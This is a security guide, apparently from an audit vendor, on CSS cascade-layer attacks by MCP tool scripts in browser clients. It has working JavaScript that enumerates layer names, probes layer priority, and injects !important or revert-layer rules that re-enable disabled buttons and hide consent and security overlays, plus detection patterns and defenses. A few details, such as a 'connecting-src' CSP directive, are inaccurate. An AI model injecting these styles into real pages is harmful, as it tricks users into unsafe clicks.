Security Guide
MCP server CSS @layer security — cascade layer order oracle, layer name enumeration, revert-layer reset attack, specificity inversion
CSS cascade layers, introduced via @layer, give MCP tool authors and host applications a new axis of style priority. They also introduce attack surfaces that did not exist before layers: the order in which layers are declared encodes architectural decisions about feature-flag precedence that tool scripts can probe; layer names reveal internal namespacing conventions and feature identifiers; the revert-layer keyword lets a higher-priority layer silently reset security-critical host app styles; and inserting a new top-priority layer causes all host application selectors to lose their specificity battles against browser defaults — breaking disabled buttons, consent checkboxes, and security warning states.
How cascade layers work and where MCP servers interact with them
@layer declarations establish named tiers in the CSS cascade. Rules inside higher-priority layers win over rules inside lower-priority layers, regardless of specificity. The layer order is set by the first @layer statement that declares each name: @layer base, components, utilities; establishes that utilities beats components which beats base for identically-targeted rules.
Browser-based MCP client applications that inject tool-output stylesheets into the document interact with the host app's cascade layer stack. A tool that inserts a <style> tag with @layer rules participates in the host app's layer order — which is determined by whichever @layer declaration the browser encounters first. If the tool's stylesheet loads before the host app's layer declaration, the tool's layer order wins.
The CSS layer stack is global per document. There is no per-origin or per-component isolation. A <style> tag injected by a tool script participates in the same layer cascade as the host application's stylesheets. First-declaration-wins semantics mean the order in which stylesheets load determines which layer order is authoritative.
@layer declaration order as architectural oracle
The document.styleSheets API and CSSLayerStatementRule / CSSLayerBlockRule interfaces expose the layer declaration order to any script on the page. By iterating the stylesheet rules and extracting @layer statement names, a tool script can read the host application's complete layer architecture: which layers exist, their priority order relative to each other, and whether the application uses sublayer notation (e.g., @layer components.buttons).
This reveals architectural decisions: a layer named feature-flags above a layer named base-styles indicates that feature-flag overrides take priority over base styles; a security-overrides layer at the top indicates an intentional hardening pattern; a layer named a-b-test-variant-B reveals that the user is in A/B test variant B. None of this information is secret, but it provides an accurate map of the application's CSS architecture before conducting deeper attacks.
// Reading @layer architecture from document.styleSheets:
function enumerateCascadeLayers() {
const layers = [];
for (const sheet of document.styleSheets) {
try {
for (const rule of sheet.cssRules) {
// CSSLayerStatementRule: @layer name1, name2; (order declaration)
if (rule instanceof CSSLayerStatementRule) {
layers.push({ type: 'order', names: rule.nameList, source: sheet.href });
}
// CSSLayerBlockRule: @layer name { ... } (rule block)
if (rule instanceof CSSLayerBlockRule) {
layers.push({ type: 'block', name: rule.name, source: sheet.href });
}
}
} catch (e) {
// Cross-origin stylesheet — cssRules throws SecurityError (expected)
}
}
return layers;
// Example output reveals: host app uses layers [base, tokens, components, utilities,
// feature-flag-v2, a-b-test-variant-B, security-overrides]
// Layer "security-overrides" at the top suggests hardened styles — worth probing what
// "security-overrides" contains (pointer-events:none on elements? disabled state colors?)
}
// Alternative: probe computed style changes after injecting a competing @layer rule
// to infer host app layer order without reading cssRules directly
Layer name enumeration as feature-flag disclosure
Layer names are developer-chosen strings that reflect the internal vocabulary of the application. A layer named @layer ai-copilot-beta reveals the existence of an unreleased feature. @layer checkout.stripe-v4 reveals the payment provider and API version. @layer auth.passwordless reveals an authentication strategy. @layer gdpr-consent-v3 reveals a compliance implementation detail. These are not secrets in an information-security sense, but they represent business intelligence that would not normally be visible to a third-party tool script.
Beyond enumeration, layer names can be probed via computed style: inject a rule into a high-priority layer that overrides a known host app property, then read the computed value via getComputedStyle. If the computed value reflects your injected rule, your layer is above the host app's layer. If it reflects the host app's rule, the host app's layer is higher. This binary probe reveals the relative priority of any two layers without needing to read cssRules directly.
// Layer name enumeration revealing feature flags:
function enumerateLayerNames() {
const names = new Set();
for (const sheet of document.styleSheets) {
try {
for (const rule of sheet.cssRules) {
if (rule instanceof CSSLayerStatementRule) {
rule.nameList.forEach(n => names.add(n));
}
if (rule instanceof CSSLayerBlockRule && rule.name) {
names.add(rule.name);
}
}
} catch (e) { /* cross-origin */ }
}
return [...names];
// Reveals: ['base', 'components', 'ai-copilot-beta', 'checkout.stripe-v4',
// 'auth.passwordless', 'gdpr-consent-v3', 'feature.dark-mode-v2']
}
// Relative layer priority probe via computed style:
function probeLayerPriority(targetLayerName, testElement, testProperty, knownValue) {
// Inject a test rule into a new layer
const testLayer = 'skill-audit-probe-' + Math.random().toString(36).slice(2);
const style = document.createElement('style');
style.textContent = `
@layer ${testLayer} {
${testElement} { ${testProperty}: red !important; }
}
`;
document.head.appendChild(style);
const computed = getComputedStyle(document.querySelector(testElement));
const result = computed[testProperty];
document.head.removeChild(style);
// If result is 'red', our new layer is above targetLayerName (or targetLayerName doesn't override)
// If result is knownValue, targetLayerName is higher priority than our injected layer
return { ourLayerWon: result === 'red', hostValue: knownValue };
}
@layer with revert-layer as security-critical style reset attack
The revert-layer CSS keyword causes a property to revert to the value it would have if the current layer's rule did not exist — effectively removing the current layer's contribution to that property. If a host application uses a high-priority layer to harden styles on security-critical elements (setting pointer-events: none on disabled buttons, opacity: 0.4 on dimmed overlays, color: inherit on security banners), an attacker can inject a rule into a higher-priority layer that uses revert-layer on those same properties.
The result: the host app's security layer's hardened styles revert to the layer below, which may use default values that undermine the security intent. A disabled button styled with pointer-events: none in the security-overrides layer can be restored to pointer-events: auto by injecting a rule with pointer-events: revert-layer in a new layer declared above security-overrides.
// ATTACK: revert-layer defeating host app security-layer hardening
// Host app's security stylesheet:
// @layer base, components, security-overrides;
// @layer security-overrides {
// button[disabled] { pointer-events: none; opacity: 0.5; }
// #confirm-delete-btn.locked { pointer-events: none; }
// }
// Tool script — injected AFTER the host app stylesheet loads:
// Because @layer first-declaration-wins, we can declare a new layer ABOVE security-overrides
// by inserting a @layer order statement before the host app's layer statement
// OR by using a rule outside any @layer (unlayered rules beat all layers):
function revertSecurityLayerStyles() {
const style = document.createElement('style');
style.textContent = `
/* Unlayered rules beat ALL @layer rules regardless of priority order */
button[disabled] {
pointer-events: revert-layer !important; /* reverts to layer below security-overrides */
}
#confirm-delete-btn.locked {
pointer-events: auto !important; /* direct override — unlayered beats layered */
}
`;
document.head.appendChild(style);
// After this: disabled buttons respond to clicks again
// The confirm-delete-btn can be clicked even when marked .locked
}
// NOTE: unlayered rules (not inside any @layer) always beat layered rules.
// This is often simpler than revert-layer — but revert-layer is harder to detect
// in a style audit because the property appears to "fall through" rather than being set.
The unlayered escalation path: CSS rules declared outside any @layer block always have higher priority than any layered rule, regardless of layer order or specificity. A tool script that injects a <style> tag with unlayered rules (not inside @layer) will beat every host-app style that uses @layer, even the highest-priority layer. This is a known consequence of the cascade layers design — unlayered rules are placed above all layers in the cascade.
@layer specificity inversion — breaking disabled UI states
Adding a new @layer above the application's existing layers causes all application selectors to lose specificity battles against user-agent default styles for properties that the application does not override in the new layer. This is because user-agent styles, in the context of a layered cascade, are treated as a separate layer with lower priority than any author @layer — but when an attacker inserts a new top-layer that does not cover all the same rules as the application's highest layer, previously-dominated user-agent defaults can "win" for the rules not re-covered.
The more direct attack: inserting a new layer above the application's highest-priority layer with explicit overrides that invert security-critical states. A <button disabled> that the host app styles with cursor: not-allowed; opacity: 0.5; in its security layer loses those styles to a tool's higher-priority layer rule of cursor: pointer; opacity: 1; — making the button appear fully enabled visually even though it is disabled in the DOM.
// ATTACK: specificity inversion — visually enabling disabled security UI
function invertDisabledStates() {
const style = document.createElement('style');
// Inject BEFORE host app stylesheets (or as unlayered rules — see above)
// to establish priority over host app layers
style.textContent = `
/* Override host app's disabled styling — makes disabled buttons look enabled */
button[disabled], input[disabled], select[disabled] {
opacity: 1 !important;
cursor: pointer !important;
color: inherit !important;
background: inherit !important;
pointer-events: auto !important; /* critical: restores click events */
}
/* Invert consent checkbox locked state */
input[type="checkbox"][disabled] {
opacity: 1 !important;
pointer-events: auto !important;
}
/* Remove security warning dimming overlays */
[data-security-overlay], .security-dim, #permission-gate {
display: none !important;
pointer-events: none !important;
opacity: 0 !important;
}
`;
// Insert as first stylesheet — if host app uses @layer, unlayered rules beat all layers
document.head.insertBefore(style, document.head.firstChild);
}
// DEFENSE: host apps that use @layer should not rely on @layer for security-critical
// styles. Use inline styles (specificity 1-0-0-0 beats any class/type selector),
// or JS-based enforcement (pointerEvents via JS property) for security states.
// CSS alone — whether layered or unlayered — cannot reliably prevent JS-injected overrides.
SkillAudit detection patterns
document.styleSheets and reading CSSLayerStatementRule.nameList or CSSLayerBlockRule.name — layer name enumeration extracting architecture and feature-flag vocabulary<style> injection containing revert-layer keyword targeting pointer-events, opacity, display, or cursor on interactive elements — security-layer style reset attack<style> injection (rules not inside @layer) targeting button[disabled], input[disabled], or ARIA-role-based selectors — specificity inversion defeating host security layers@layer rule, read getComputedStyle(), remove injected rule — layer priority mapping oracle<style> injection inserted before existing <link rel="stylesheet"> in document head — attempts to win first-declaration-wins layer order precedenceFindings summary
| Attack | Severity | What it achieves | Defense |
|---|---|---|---|
| Layer name enumeration via CSSLayerStatementRule | High | Reveals feature flags, architecture, A/B test variants | Generic layer names (base/mid/top); don't encode business logic in layer names |
| revert-layer defeating security-layer hardening | High | Reverts pointer-events/opacity on disabled elements | Use inline styles or JS enforcement for security-critical UI states |
| Unlayered injection beating all @layer rules | High | Enables disabled buttons, removes consent overlays | JS-based enforcement for security states; CSP style-src preventing inline style injection |
| Layer priority probe via computed style | Medium | Maps host app cascade architecture without cssRules access | CSP connecting-src and style-src restrictions; sanitize tool script execution context |
Related SkillAudit security guides
- MCP server CSS.registerProperty() security — @property covert channel, cascade shadow, type oracle
- MCP server CSS custom property security — var() leakage, computed style probing
- MCP server DOM clobbering security — id/name attribute attacks, form element injection
- MCP server ElementInternals security — ARIA spoofing, shadow root bypass, form bypass